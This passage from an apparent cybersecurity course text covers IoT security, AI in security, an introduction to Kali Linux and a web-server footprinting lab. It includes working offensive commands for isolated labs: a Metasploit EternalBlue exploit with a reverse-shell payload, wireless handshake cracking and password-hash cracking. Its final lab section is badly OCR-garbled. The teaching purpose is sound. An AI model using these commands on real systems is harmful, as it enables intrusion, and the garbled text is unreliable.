• App Layer: App sandboxing, permission control.

• Network Layer: VPN, HTTPS, secure DNS.

• Management Layer: MDM, remote wipe, monitoring.

12.11 Summary 

Mobile devices are an integral part of daily life and business operations, but 
they also introduce unique security risks. From malware and phishing to 
SIM swapping and device theft, attackers continuously innovate ways to 
exploit mobile vulnerabilities. 

Strong authentication, encryption, secure app practices, MDM solutions, 
and user awareness training form the foundation of mobile security. With
5G and IoT expansion, the importance of securing mobile devices will only 
grow.  
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Chapter 13: Internet of Things (IoT) Security 

13.1 Introduction 

The Internet of Things (IoT) refers to the growing network of connected 
devices—smart thermostats, surveillance cameras, smart TVs, wearable 
fitness trackers, industrial sensors, and even connected cars. 

By 2030, it’s estimated that there will be over 25 billion IoT devices 
worldwide. While IoT offers convenience, automation, and real-time data, it 
also poses huge cybersecurity risks. Most IoT devices were designed for 
functionality, not security, making them easy targets for hackers. 

13.2 Why IoT Security Matters 

1. Sensitive Data: IoT devices often collect personal health data,
location info, and home activity.

2. Always Connected: Devices are online 24/7, increasing the attack
window.

3. Weak Security: Many IoT products ship with default passwords and
outdated firmware.

4. Scalability of Attacks: A single vulnerability can compromise
millions of devices simultaneously.

5. Critical Infrastructure: IoT is widely used in healthcare,
transportation, energy, and manufacturing—making attacks life-
threatening.

13.3 Common IoT Security Threats 

1. Default & Weak Passwords

• Many IoT devices ship with default logins like admin/admin.

• Attackers exploit this using automated tools.
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2. Unpatched Vulnerabilities

• IoT vendors often stop providing security updates.

• Example: Old smart cameras left vulnerable to known exploits.

3. Botnets & DDoS Attacks

• Infected IoT devices can be used in botnets.

• Case: Mirai Botnet (2016) hijacked thousands of IoT devices, causing
one of the largest DDoS attacks ever (620 Gbps).

4. Data Interception (MITM)

• Weak or no encryption allows attackers to sniff traffic between IoT
devices and servers.

5. Physical Attacks

• Stolen IoT devices (like RFID tags or smart locks) can be reverse-
engineered.

6. Insecure APIs

• IoT cloud APIs may expose sensitive functions if not properly
secured.

7. Ransomware on IoT Devices

• Example: Smart TVs or connected cars being locked until ransom is
paid.

13.4 IoT Security Challenges 

• Low Processing Power: Many devices can’t handle strong
encryption.

• Lack of Standards: No universal IoT security framework.

• Diversity of Devices: From medical devices to home gadgets, each
has different security needs.
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• Long Lifespan: Devices like smart refrigerators may run for 10–15
years without updates.

• User Awareness: Many consumers don’t change default settings.

13.5 IoT Security Mechanisms 

1. Authentication & Authorization

o Unique credentials per device.

o Role-based access control.

2. Secure Communication

o Use TLS/SSL for data in transit.

o Secure MQTT/CoAP protocols for IoT messaging.

3. Firmware & Patch Management

o Automatic updates to fix vulnerabilities.

o Signed firmware to prevent tampering.

4. Device Hardening

o Disable unnecessary ports and services.

o Enforce least privilege.

5. Network Segmentation

o Isolate IoT devices from main business networks.

o Example: Place smart TVs on a guest VLAN.

6. Intrusion Detection for IoT

o Use AI/ML-based monitoring to detect abnormal IoT behavior.

13.6 IoT Security Best Practices for Users 

• Change default passwords immediately.
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• Regularly update device firmware.

• Place IoT devices behind a firewall or router.

• Use a separate Wi-Fi network for IoT devices.

• Disable unused features (Bluetooth, UPnP, Telnet).

• Monitor device behavior for unusual activity.

13.7 Enterprise IoT Security 

• IoT Device Inventory: Track all connected devices.

• Zero Trust IoT: Verify every request between devices.

• Endpoint Detection & Response (EDR): Monitor IoT endpoints.

• Blockchain for IoT Security: Immutable records for device
communication.

• Edge Computing Security: Protect IoT devices that process data at
the edge.

13.8 IoT Security Tools 

• Shodan: Search engine for exposed IoT devices.

• IoT Inspector: Detect insecure IoT devices in a network.

• Palo Alto IoT Security: Enterprise IoT threat detection.

• Forescout: IoT device visibility and control.

• Kaspersky IoT Secure Gateway: Protects industrial IoT
environments.

13.9 Real-World IoT Security Incidents 

1. Mirai Botnet (2016):

o Hijacked IoT cameras & DVRs.
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o Took down Twitter, Netflix, and Reddit with DDoS.

2. St. Jude Medical (2017):

o Pacemakers found vulnerable to wireless hacking.

o Could drain battery or alter pacing.

3. Jeep Hack (2015):

o Researchers remotely controlled a Jeep via its IoT infotainment
system.

o Forced Fiat Chrysler to recall 1.4 million vehicles.

13.10 IoT Security Regulations & Standards 

• NIST IoT Security Framework (SP 800-183)

• ISO/IEC 27030 – IoT Security Guidelines

• ETSI EN 303 645 – Consumer IoT Security Standard

• IoT Cybersecurity Improvement Act (US, 2020) – requires federal IoT
devices to follow strict security rules.

13.11 Future of IoT Security 

• AI & Machine Learning: Detect abnormal device behavior.

• 5G-enabled IoT: Increases speed but also attack surfaces.

• Quantum-Safe Encryption: Preparing IoT for quantum computing
threats.

• Autonomous IoT Security Agents: Self-healing IoT systems.

13.12 IoT Security Architecture (Conceptual Layout) 

A secure IoT ecosystem includes: 

• Device Layer: Secure boot, firmware protection, unique IDs.
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• Gateway Layer: Firewalls, intrusion prevention, encryption.

• Cloud Layer: Secure APIs, monitoring, compliance enforcement.

• Application Layer: User authentication, access control, data
privacy.

13.13 Summary 

IoT security is one of the biggest challenges in modern cybersecurity. With 
billions of devices online, attackers can weaponize insecure devices to 
steal data, cause physical harm, or disrupt critical infrastructure. 

To secure IoT, organizations and individuals must enforce strong 
authentication, encryption, patching, and network segmentation, while 
governments push for standards and regulations. 

IoT security is not just about protecting devices—it’s about safeguarding 
entire ecosystems. 
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Chapter 14: Artificial Intelligence (AI) in 
Cybersecurity 

14.1 Introduction 

Artificial Intelligence (AI) and Machine Learning (ML) are reshaping every 
industry, and cybersecurity is no exception. The vast amount of data 
generated from logs, sensors, user activities, and threat intelligence makes 
traditional manual analysis impossible. 

AI enables real-time detection, automated response, and predictive 
security—helping defenders stay ahead of increasingly sophisticated 
cyberattacks. However, attackers are also weaponizing AI, creating new 
threats like AI-driven phishing, malware, and deepfakes. 

Thus, AI in cybersecurity is a double-edged sword: it strengthens defense 
but also powers smarter attacks. 

14.2 Why AI is Important in Cybersecurity 

1. Data Overload: Modern enterprises generate terabytes of security
data daily. AI filters and analyzes it faster than humans.

2. Advanced Threats: Zero-day exploits and polymorphic malware
require adaptive defenses.

3. Automation: AI can automatically isolate infected devices or block
malicious IPs.

4. Predictive Analysis: AI can forecast potential attack patterns before
they occur.

5. Skill Gap: Global shortage of cybersecurity professionals makes AI-
powered automation crucial.
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14.3 Applications of AI in Cybersecurity 

1. Threat Detection & Analysis

• AI models analyze logs, traffic patterns, and anomalies.

• Example: Identifying unusual login times or geographic anomalies in
user behavior.

2. Malware Detection

• Traditional antivirus relies on signatures. AI detects unknown
malware using behavior-based analysis.

• Example: Detecting ransomware before encryption starts.

3. Phishing Detection

• AI scans emails for suspicious language, sender reputation, and
links.

• Example: Gmail uses ML to block 100 million phishing emails daily.

4. Network Intrusion Detection

• AI-powered IDS/IPS systems analyze packets in real-time to block
attacks.

• Example: Detecting unusual lateral movement inside a corporate
network.

5. Fraud Detection in Finance

• AI monitors transactions for anomalies.

• Example: Credit card companies detect suspicious purchases
instantly.

6. Automated Incident Response

• AI-powered SOAR platforms (Security Orchestration, Automation,
and Response) automatically execute response playbooks.

7. Identity & Access Management (IAM)

• AI enforces adaptive authentication based on user behavior.
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• Example: If a login attempt comes from an unusual device/location,
MFA is triggered.

8. Dark Web Monitoring

• AI scans forums, markets, and hidden services for leaked
credentials.

14.4 AI Techniques Used in Cybersecurity 

1. Machine Learning (ML): Classifying malware, detecting anomalies.

2. Deep Learning: Neural networks analyzing complex patterns in
traffic.

3. Natural Language Processing (NLP): Analyzing phishing emails and
fake news.

4. Reinforcement Learning: AI agents that adapt responses to evolving
threats.

5. Generative Adversarial Networks (GANs): Used by attackers for
deepfakes, but also by defenders to generate synthetic training data.

14.5 How Hackers Use AI (Offensive AI) 

1. AI-Powered Phishing: Creating more convincing phishing messages.

2. Deepfakes: Fake audio/video of executives used in fraud.

3. Adversarial AI Attacks: Tricking AI models with manipulated data
(e.g., altering malware to bypass detection).

4. Automated Vulnerability Scanning: AI bots finding weaknesses
faster.

5. Password Cracking with AI: AI models predict likely passwords
based on user data.
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14.6 AI-Enhanced Security Tools 

• Darktrace: AI-driven anomaly detection for enterprises.

• CrowdStrike Falcon: AI-powered endpoint protection.

• CylancePROTECT: Uses AI to predict and prevent malware.

• IBM QRadar + Watson: AI-enhanced SIEM for threat intelligence.

• Splunk UBA: Machine learning for user behavior analytics.

14.7 Benefits of AI in Cybersecurity 

• Speed & Efficiency: Real-time detection vs. human hours.

• Reduced False Positives: Smarter models reduce alert fatigue.

• Predictive Power: Identifies attack trends before they happen.

• Automation: Frees human analysts for critical tasks.

14.8 Challenges & Limitations of AI in Cybersecurity 

1. Data Quality Issues: AI is only as good as the data it’s trained on.

2. Adversarial Attacks: Hackers can “poison” AI models.

3. High Cost & Complexity: AI systems require expertise and
resources.

4. False Negatives: AI may still miss highly sophisticated attacks.

5. Ethical Concerns: AI surveillance may raise privacy issues.

14.9 Case Studies in AI & Cybersecurity 

1. Microsoft Defender ATP (2019):

o AI stopped a massive malware campaign spreading via email
within minutes.

2. Deepfake CEO Scam (2020):
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o Criminals used AI-generated voice to impersonate a CEO,
tricking a company into transferring $243,000.

3. Darktrace in Healthcare:

o Detected ransomware in hospitals before patient data was
encrypted.

14.10 Future of AI in Cybersecurity 

• AI-Powered SOCs: Security Operations Centers will rely heavily on
AI.

• Quantum + AI Security: Preparing AI systems for quantum attacks.

• Autonomous Cyber Defense: AI systems capable of fighting AI-
driven attacks with little human input.

• Ethical AI Security: Transparent AI systems to ensure privacy and
fairness.

14.11 AI in Cybersecurity Architecture (Conceptual Layout) 

1. Data Layer: Collects logs, events, traffic.

2. AI Processing Layer: ML models analyze anomalies.

3. Response Layer: Automated containment, isolation, or alerting.

4. Human Oversight: Analysts review AI decisions.

14.12 Summary 

AI is revolutionizing cybersecurity by providing faster, smarter, and 
predictive defense mechanisms. It enables real-time detection, 
automated response, and adaptive protection. 

However, attackers also use AI to create smarter phishing, deepfakes, and 
adversarial attacks. The future of cybersecurity will be a battle of AI vs. 
AI, where defenders and attackers continuously evolve their 
technologies. 
AI should be seen as an ally, not a replacement for human security teams. The 
most effective defense combines AI-driven automation with human expertise. 
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Introduction to Kali Linux 

Overview 

Kali Linux is a Debian-based Linux distribution purpose-built for 
penetration testing, ethical hacking, and security research. Maintained 
by Offensive Security, Kali integrates hundreds of security tools and is 
widely used by security professionals, red teams, and educators. This 
chapter gives a deep, practical introduction: history, philosophy, 
installation, basic administration, common workflows, security 
considerations, and suggested labs for students. 
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1. What is Kali Linux?

Kali Linux is a specialized distribution containing hundreds of preinstalled 
security tools for tasks such as: 

• Information gathering and reconnaissance

• Vulnerability analysis

• Exploitation and post-exploitation

• Wireless attacks and Bluetooth testing

• Reverse engineering and malware analysis

• Forensics and incident response

• Password cracking and credential auditing

Kali is not a general-purpose desktop OS — it's optimized for security work. 
That said, it can be used as a daily driver with appropriate configuration. 

2. Short history

• BackTrack (2006–2013): The predecessor specialized in security
tools, built on Ubuntu.

• Kali Linux (2013–present): Rebuilt from Debian by Offensive Security
to provide a secure, maintainable and up-to-date penetration testing
platform. Kali emphasizes reproducibility, package maintenance, and
a wide array of architectures.

Key idea: Kali gives you a consolidated, maintained toolkit—no need to 
individually research, compile, and configure dozens of tools. 

3. Editions & platforms

Kali is available for many platforms: 

• Standard ISO (installer for PCs) — x86_64.

• Live ISO — run from USB without install.
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• Virtual images — preconfigured VMware and VirtualBox images.

• ARM images — Raspberry Pi, Odroid, Pinebook, etc.

• Cloud images — AMI for AWS, images for Azure / GCP.

• NetInstaller — minimal network install.

4. Installation: options & step-by-step

4.1 Decide your target environment 

• Learning / safe testing: Use a VM (VirtualBox or VMware
Workstation).

• Hands-on wireless labs: Live USB with persistent storage or bare
metal install on a dedicated machine.

• Performance: Bare metal or appropriately provisioned cloud/VM.

4.2 Download & verify 

1. Download ISO from official site: https://www.kali.org.

2. Verify checksum and PGP signature to ensure authenticity.

4.3 Install in VirtualBox (recommended for students) 

1. Create VM: 2 CPU cores, 4–8 GB RAM (8+ recommended for heavy
work), disk 50+ GB.

2. Attach Kali ISO to optical drive.

3. Boot VM, choose Graphical install.

4. Partition: use guided — entire disk for simplicity. For dual-boot or
encryption, choose LVM and encrypt if required.

5. Set root / primary user: Kali uses non-root user by default in newer
releases. Create a strong password.
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6. Install GRUB to the primary disk.

4.4 Live USB with persistence 

• Use tools like Rufus (Windows) or dd (Linux/macOS) to write ISO to
USB.

• Create a separate persistence partition to save changes. Name the
partition persistence and create a file /persistence.conf with / union
content to enable persistent overlay.

5. First boot & initial configuration

• Configure network: use NetworkManager for dynamic IPs or manual
config in /etc/network/interfaces.

• Set hostname: sudo hostnamectl set-hostname kali-lab.

• Add users:

6. Kali filesystem & Debian basics

• Kali inherits Debian filesystem layout: /etc, /var, /usr, /home, /opt.

• Tools installed into /usr/bin, /usr/sbin, /opt.

• Configuration files often in /etc (e.g., /etc/apt/sources.list).

Key directories: 

• /root — root user home.

• /home/<user> — user files.

• /etc/apt/sources.list — repos.

• /etc/network and NetworkManager — network config.
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7. Package management: apt & dpkg

7.1 The basics 

• Update package lists: sudo apt update

• Upgrade packages: sudo apt upgrade or sudo apt full-upgrade

• Install packages: sudo apt install <package>

• Remove: sudo apt remove <package>

• Search: apt-cache search <term> or apt search <term>

7.2 Kali repositories & metapackages 

Kali provides metapackages to install tool collections: 

• kali-linux-default — default toolset.

• kali-linux-large — larger set.

• kali-linux-everything — installs virtually all Kali tools (very large).

Important: Avoid mixing Debian/Ubuntu repos; use official Kali repos only. 

7.3 Using dpkg for .deb 

• Install a local .deb: sudo dpkg -i package.deb

• Fix broken deps: sudo apt -f install

8. Desktop environments & CLI

• XFCE is the default (lightweight, fast).

• GNOME, KDE, MATE are available.

• For servers/headless use: install only kali-linux-headless or use Kali
NetInstall.

CLI is central to Kali: learn Bash, piping, redirection, and common tools. 
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Important commands: 

• ip a or ifconfig — view interfaces.

• nmcli — control NetworkManager from CLI.

• iwconfig / iw — wireless interface management.

• rfkill — unblock wireless.

• airmon-ng — enable monitor mode (part of aircrack-ng).

10. Common commands & workflow for security testing

Basic command set students must master: 

• File ops: ls, cd, cp, mv, rm, cat, less

• Process & system: ps aux, top, htop, kill, systemctl

• Networking: ip, ss, netstat, nmap, tcpdump, wireshark

• Package & updating: apt, dpkg

• Searching: grep, awk, sed, find

• Scripting basics: bash, creating executable scripts chmod +x
script.sh

Workflow example — simple Recon: 

1. whois example.com (domain ownership)

2. dig example.com any (DNS records)

3. nmap -sC -sV -oN nmap_scan.txt example.com (initial port/service
scan)

4. nikto -h http://example.com (webserver scan)

5. gobuster dir -u http://example.com -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
(discover web directories)

9. Networking basics in Kali

Pg.98 www.technoglobe.co.in



11. Metapackages & tool categories

Kali organizes tools by purpose. Not exhaustive, but core categories: 

• Information Gathering: Nmap, Recon-NG, theHarvester, Maltego

• Vulnerability Analysis: OpenVAS, Nikto, Vega

• Web Application: Burp Suite, OWASP ZAP, SQLmap, wpscan

• Exploitation: Metasploit Framework, Armitage

• Wireless Attacks: Aircrack-ng suite, Kismet, Reaver

• Password Attacks: John the Ripper, Hashcat, Hydra

• Sniffing & Spoofing: Wireshark, Ettercap, THC-SSL-DOS

• Reverse Engineering: Ghidra, Radare2, Binary Ninja (third-party)

• Forensics: Autopsy, Sleuth Kit, Volatility

• Hardware/IoT: Binwalk, firmware tools

12. Kali tools — short practical examples

12.1 Nmap (network scanner) 

• Discover hosts and services:

nmap -sS -p- -T4 -A -v 192.168.56.0/24 

• -sS TCP SYN scan, -p- all ports, -A OS & version detection.

12.2 Metasploit 

• Start console: msfconsole

• Search for exploits: search smb

• Load exploit and set options:

use exploit/windows/smb/ms17_010_eternalblue 

set RHOST 192.168.56.101 
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set PAYLOAD windows/x64/meterpreter/reverse_tcp 

set LHOST 192.168.56.1 

exploit 

12.3 Burp Suite 

• Intercept browser traffic by configuring proxy (127.0.0.1:8080), then
test for injections and CSRF.

12.4 Aircrack-ng (wireless) 

• Capture handshake with airodump-ng, then crack:

airmon-ng start wlan0 

airodump-ng --bssid <BSSID> -c <channel> -w capture wlan0mon 

aircrack-ng -w wordlist.txt capture-01.cap 

12.5 John the Ripper / Hashcat 

• Extract hashes, then crack with wordlist:

john --wordlist=/usr/share/wordlists/rockyou.txt /path/to/hashfile 

hashcat -m 1000 -a 0 hashfile.txt rockyou.txt 

12.6 Wireshark/tcpdump 

• Capture tcpdump:

sudo tcpdump -i eth0 -w capture.pcap 

wireshark capture.pcap 

13. Creating and using a Kali lab

A secure lab is essential for students. 
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13.1 Lab topology (recommended) 

• Host OS → runs VirtualBox/VMware.

• Kali VM → attacker machine.

• Target VMs → Metasploitable2/3, OWASP DVWA, WebGoat.

• Internal network (Host-only or NAT network) to isolate lab from real
internet.

• Optional: a dedicated router VM and a logging/SIEM VM like ELK.

13.2 Example VM setup 

• Kali VM: 2 CPUs, 8 GB RAM, 60 GB disk.

• Metasploitable: 1 CPU, 1 GB RAM, 20 GB disk.

• Network: Host-only adapter for attacker & targets.

13.3 Safety rules 

• Never connect test attacks to the real internet.

• Label VMs and snapshots to revert easily.

• Use snapshots before major experiments.

14. Hardening & operational security (OpSec)

Kali is a powerful tool — but operational security matters: 

• Don’t run scans from public networks; respect laws and targets.

• Keep Kali updated: sudo apt update && sudo apt full-upgrade -y.

• Use non-root user for daily tasks; use sudo when needed.

• Remove unnecessary services (e.g., OpenSSH) if not in use.

• Secure SSH with key authentication; disable password auth.
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• Wipe sensitive data after exercises (use shred/srm or full-disk
encryption).

15. Legal & Ethical Responsibilities

Teaching and practicing security should emphasize legality: 

• Always have written authorization before testing live systems.

• Use responsible disclosure if you find a vuln.

• Understand local laws (instructor should cover UAE laws if teaching
in Dubai).

• Include an ethics module and a signed Code of Conduct for
students.

16. Teaching labs & exercises (detailed)

Below are progressive labs that fill a semester and build skills. 

Lab 1 — Environment setup 

• Install Kali in VirtualBox.

• Import Metasploitable / DVWA.

• Isolate network (Host-only).

Lab 2 — Reconnaissance 

• Use nmap to discover open ports/services.

• Use theHarvester for OSINT (emails and subdomains).

• Save outputs, discuss footprinting ethics.

Lab 3 — Web app testing (DVWA) 

• Set DVWA to low security.

• Use Burp to intercept traffic and perform SQLi and XSS.

• Use sqlmap to automate SQL injection.
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Lab 4 — Exploitation (Metasploitable) 

• Use Metasploit to exploit a known vulnerability and obtain
meterpreter.

• Practice post-exploit enumeration and cleanup.

Lab 5 — Wireless & cracking (requires proper hardware) 

• Use Aircrack suite to capture handshake and attempt cracking with
wordlists.

Lab 6 — Password cracking & hash analysis 

• Capture SAM hashes from a Windows VM (with permission in lab)
and crack with John/hashcat.

Lab 7 — Forensics & incident response 

• Use Autopsy and Volatility on an image to recover deleted files and
analyze a memory dump.

Lab 8 — Red team exercise 

• Students perform controlled attack from recon to exfiltration against
a hardened VM; blue team monitors and responds.

17. Troubleshooting & common pitfalls

• No wireless monitor mode: check adapter chipset and drivers (use
airmon-ng check kill).

• Slow VM: enable VT-x/AMD-V in BIOS, install guest additions,
allocate more RAM.

• Broken apt: fix with sudo apt -f install or clear sources list.

• Metasploit DB errors: sudo msfdb init or sudo systemctl start
postgresql.
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18. Resources & further reading

• Official Kali docs: https://www.kali.org/docs/

• Offensive Security training: https://www.offensive-security.com/

• Books: Kali Linux Revealed (official Kali book), The Web Application
Hacker’s Handbook, Metasploit: The Penetration Tester’s Guide

• Practice platforms: TryHackMe, Hack The Box, VulnHub.

19. Appendix — Cheat sheets & useful snippets

A. Enable monitor mode

sudo airmon-ng check kill 

sudo airmon-ng start wlan0 

sudo airodump-ng wlan0mon 

B. Basic Nmap scans

• Top ports and service detection:

nmap -sS -sV -T4 -p- --open 192.168.56.101 

C. Start Metasploit

sudo systemctl start postgresql 

msfdb init 

msfconsole 

D. Capture HTTP traffic via Burp

• Browser proxy: 127.0.0.1:8080, install Burp CA cert, intercept on.
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Hacking Web Servers 
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Lab Objectives 

ll1e objective of this lab is to perfoon web server hacking and other tasks that include, 
but are not limited to: 

• Footprint a web server using various information-g,ithering rools and
inbuilt commands

• Enumerate web senrer infom1ation

• Crack remote passwords

Lab Environment 

To carry out this lab, you need: 

• Windows Server 2019 virtual machine

• Windows Server 2016 virrual machine

• Windows 10 virtual machine

• Parrot Security virtual machine

• Web browsers wich an :lnremec connection

• Administtatoe privileges ro run rhc tool$

Lab Duration 

Time: 75 Minutes 

Overview of Web Server 

l\fost people think a web server is just hardware, but a web server also i.ncludes 
software applications. In general, a client initiates die communication process d1rough 
111TP rc.�uescs. \'<lhen a client wanes to access any resource such as web pages, 
photos, or videos, then the client's browser gene.rares an I IT11� request ro the web 
server. Depending on the request, the web server colleccs the requested information 
or content from data storage or the application servers and responds to d1e client's 
request with an appropriate I rrn' response. If a web server cannot find the re<.juested 
information, then it generates an error message. 

Lab Tasks 

Ethical hackers o.r pen testers use numerous cools and techniques to hack a rar6i-cr web 
server. Recommended labs dut will assist you in learning various web server hacking 
tc.-chniques include: 
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Footprint the Web Server 
Footprinting the 111eh server r�fen lo the process qf gathe1i11g as much i1iformatio11 as 
possible about the target 111eb sen·er � mi11g 11ario11s looLr mu/ tech11iq11es. 

• LabScenario

1he fuse seep of hacking web ser.-crs for a professional echical hacker or pen tesccr is
- co collect as much information as possible about the target web server and analyze

the collected information in order to find lapses in its current secur:ity
_ mechanisms. The main purpose is to learn about the web scr:ver's r<.motc access 

capabilities, its ports and sen·ices, and od1ec aspects of its security. 

111e information obtained in chis step helps in assessing the security posture of 
- the web server. Footprincing may im·olve searching the Internet, newsgroups,

bulletin boards, etc. for gathering information about the target organization's web
server. There are also cools such as \Xfhois.net and \\'.lhois Lookup chat extract
information such as the target's domain name, IP address, and autonomous
system number.

\X'eb server fingerpr:iociog is an essential task for any penetration rester. Before
proceeding co hack or exploit a webserver, d1e penetration tester muse know the
type and ver�ion of the webseffer as most of d1e attacks and exploits are specific
ro the type and version of the server being used by d1e target. ·n1ese methods
help any penetration tester to gain information and analyze their t.uget so d1at
they can perform a thorough test and can deploy appropriate methods tO mitigate
such attacks qn the server.

An ethical hacker or penetration tester must pcrfonn footprinting to dettx:t the 
loopholes in d,c web server of the target organization. 'Il,is will help in prt'<.!.icting the 
effectiveness of additional s<--cttrity mc.-asures for strengthening and protecting the web 
server of the target organization. 

·n,c labs in this exercise demonstrate how to footprint a web server using various
footprincing toob and techniqut-s.

Pg.108 www.technoglobe.co.in



Lab Objectives 
• 

• 

• 

• 

• 

• 

• 

Information gad1ering using Ghost Eye 

Pecfonn web server reconnaissance using Skipfish 

Fcx)tprint a web server using the httprecon Tool 

Footprint a ,veb server using ID Serve 

Footprint a web server using etcac and Telnet 

Enumerate ,veb server infom1ation using Nmap Scripting Engine (NSE) 

Uniscan web server finge.1:printing in Parrot Security 

Lab Environment 
To carry out this lab, you need: 

• 

• 

• 

• 

• 

• 

• 

\�indmvs 10 virtual machine 

Windows Server 2016 virrual machine 

\Vindows Server 2019 ,·irrual machine 

Parrot Security virrual machine 

\'Veb brO\\'Sers w;ch an Incemet connection 

Administrator privileges co run the tools 

htt:precon located to E:\CEH-Tools\CEHv11 Modula 13 Hacking Web 
Sarvars\Wab Sarver Footprinting Tools\httpracon 

• ID Serve located co E:\CEH-Tools\CEHv11 Modula 13 Hacki.ng Web
Sarvars\Wab Sarver Footprinting Tools\lD Serva

• You can also download the latest ,·ersion of the above-mentioned tools
from their official websites. If rou decide to download the latest version.
the scceenshots shown i_n this lab manual might differ from the image
that you sec on your screen.

Lab Duration 

Tinle: 65 Minutes 

Overview of Web Server Footprinting 

Br perfom1ing web server footprinting, it is possible to gather valuable system­
level data such as account details, OS, software versions, server names, and 
database schema details. Use Telnet utility to footprint a web server and gather 
information such as server name, server type, OSes, and applications running. 
Us<' fnotprinting tool:; such as NC;'tc-rnft, H) St>n-c·, :inn hrtprCc'c:on tn pCTform weh 
server footprinting. Web server footpcinting tools such as ctcraft, TD Serve, 
and httprecon can extract information from the target server. Let us look at the 
features and the types of information these tools can collect from the target 
server. 
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9. l ow, navigate to the Ghost Eye directory. Type cd ghost_eye and press
Enter.

10. In the tcrmm'll wtndow, type plp3 Install -r requlrements.txt and press
Enter.

11. To launch Ghost Eye, type python3 ghost_eye.py and press Enter.

hgure 1.1.7: Lwnclbnj: Ghost Eye 

12. 1l1e Ghost Eye - Information G-athering Tool options appear, as shown in
the screcn.�hot.

I J. Let us perform a Whois Lool.,.7.1p. Type 1 for the Enter your choice: option 
and press Enter.
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20. Now, perform the Clickjacking Test. Type 6 in d1e Enter your choice field
and press Enter.

21. In rhe Enter the Domain to test field, type certifledhac.ker.com and press
Enter.

11
igun: 1.1.12: P"-'t10nni� Oickj:K'king 1�1 

22. By performing this test, (.;hose Eye will provide the c<>mplete architecture of
d1e web server, and also reveal whed1er d1e domain is vulnerable tO

Clickjacking attacks or nor.
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23. Similarly, you can use the other cools available with Ghost Eye such as Nm,'lp
port scan, HTrP header grabber, link grabber, and Robots.ext scanner to
gather information about the target web server.

24. Thjs concludes d1e demonstration of how co gather infom1ation about a
target ·web server using Ghost Eye.

25. Close all open windows on the Parrot Security virtual macl1inc.

Perform Web Server Reconnaissance using Skipfish 

Note: Ensure that the Pa11Tot Security virtual machjne is running. 

·1. Turn on the Windows Server 2016 virtual machine and log in wid1 the
credentials Administrator and Pa$$w0rd.

2. Doublc-cljck the WAMP Server shortcut icon from Desktop to start
WAMP Server services. J\ltcrnacivcly, you can also launch the \XI AMP
Server services from d1e Start menu apps

Figure 1.2.l: StMtlJ\� \X'ru:nJ>,Xrvc:r 

3. Wait until the \XI AMP Server: icon turns Green in d1e Notification area.
Leave the Windows Server 2016 virn1al machine nmning.

4. Switch to the Parrot Security virtual machine and launch MATE

Terminal from the menu bar.

5. A Parrot Terminal window appears. 1n d1e tcrminal window, type sudo su

and press Enter to run the programs as a root user.

6. Jn the [sudo) password for attacker f:icld, type toor as a password and
press Enter.

Note: The password that you type will not be visible. 

7. Now, type cd and press Enter to jump to d1e root directory.
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8. l ow, perform security reconnaissance on a web server using Skipfish.
The target is the WordPress website http://{IP Address of Windows

Server 2016].

9. Specify the output directory and load a dictionary file based on the web
server's requirement. In this lab, we are naming the output directory test. 

10. In the terminal ,vindow, type sklpfish -o /root/test -s
/usr/share/sklpfish/dictionaries/

complete.wl http:/J[IP Address of Windows Server 2016):8080 and
press Enter.

Note: 111c J1l address may vary in your lab environment. 

11. On recc1v1ng this command, Skipfish performs a heavy brute-force

attack on the web server by using the complete.wl dictionary file,
creates a directory named test in the root location, and stores the result
in Index.html inside this location.

12. Before beginning a scan, Skipfish displays some tips. Press Enter co start
tht: security reconnaissance.
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13. Skipfish scans the web server, as shown in the screenshot.

14. Note chat Skipfish takes some time (appcoximatelr 20 minutes) to
complete its scan.

Note: You can press Ctrl+C to terminate the scan if it is taking longer. 

Figure 1.2.6: CooipktiC.)(1 of tit<: :-:au'I 
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15. On completion of the scan, Skipfish generates a report and stores 1t m
the test directory (in the root location). avi�te to location, right-click
index.html, hover your mouse cursor on Open With, and click Firefox to
view the srnn result.

Note: To navigate to d1e root directory, click Places from the top-section of 
d1e Desktop and click Home Folder from the drop-down options. In the 
attacker wi11dow, click File System from the left-pane and navi�ce to the 
location root.

16. The Skipfish crawl result appears in the web browser, displaying a
summary overview of document and issue rypcs found, as shown in the
screen shot.

Note: The scan result might vary in your lab environment . 

•• 

� ... ,¢ " it;li""J�(\N. ' • 

" ., ... ,.,, �n• ,��• �"" ,, " " 0 ,:. . " ; 

-- ; IS. �m, f_.oJllr,J01 :,,:,s:,a..;-:, 

Ski)� 
-- t1o�J T-tno• •�u ...... ::~ra" 

. . r1o1, .... 
•·· ·•···-· 

cra,111 results • click to exPllfld; 

� ♦ hUpirt0.lG.10..18, ' � .;,l 
c:-r.� .,,,_,...,.,..i-n,,_ .... _.,.__..,..,"-'�,.,..,.,,.11,.1• .. --� -

•
+ hQJ,MR.1111,ll)Jlialll\,ll 4"' on WiO �'ii 
-----...-� ---- ... ----� •1111•-�•-•· 

Document �ee overview• dick to exeand: 

1--:--:- ....,.,1no1ic:11tl!Rtly �-. 
I"'-'-

,-!I 
,.:pi<l.\tion,iAY11.Xri1Plltl 

It."":'" �pl-N,lic:il\b!t\tMl•llflll\V' 
"-'-
� Ji!:plc.lll01"14$1 '11 

., 1N.g.,-OWt1:.i 
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24. i\n HTfP trace window appears on the webpagc, displaying the complete
HTML session, as shown in the screenshot.

Pigure 1.2.13: lix:lmtning the f l�l·fp t�Cc 

Note: Tf the wi,nclow docs not properly appear, hold down the Ctrt key and 
click the link. 

25. Examine other vulnerabilities and patch them to secure the web server.

26. This concludes the demonstration of how to gather infom1ation about a
t,uget web server using Skipfish.

27. Close all open windows on both the Parrot Security an<l Windows

Server 2016 virn1al machines and nm1 off the machines.

Footprint a Web Server using the httprecon Tool 

I !ere, we will use the httprecon tool to gad1er information about a target web 
server. 

I. Turn on the Windows 10 an<l log in with ilie credentials Admln and
Pa$$w0rd.

2. avigate to E:\CEff.Tools\CEHv11 Module 13 Hacking Web

Servers\Web Server Footprlntlng Tools\httprecon, right-dick
httprecon.exe, and, from the contc.xt menu, click Run as

administrator double-dick to launch d,e application.

Note: If a User Account Control pop-up appears, click Yes.
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3. The main window of httprecon appears, as shown in the screcnshot.

■ httprecon 7.3 D X 

Fil, Configuration Fingerprinting Reporting Help

r � arget

Uhttp;// ..:J ]if'l4•111l

GET e>i�ing I GET long request] GET non-existing I GET wiong protocol I HEAD existing J OPTION◄

Fldl Malchlist I Fingerprint Details] Report Preview J

Name Match% 

l'i!{'"" I.J.I: h11pn:co11m�i11 w111dow 
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4. Enter the website URL Q1ere, www.certlfiedhacker.com) that you want
to footprint and select port number (80) in the Target sc:ction.

5. Click Analyze to start analyzing the designated website.

6. i\ footprint of rhc website appears, as shown in the screcnshor.

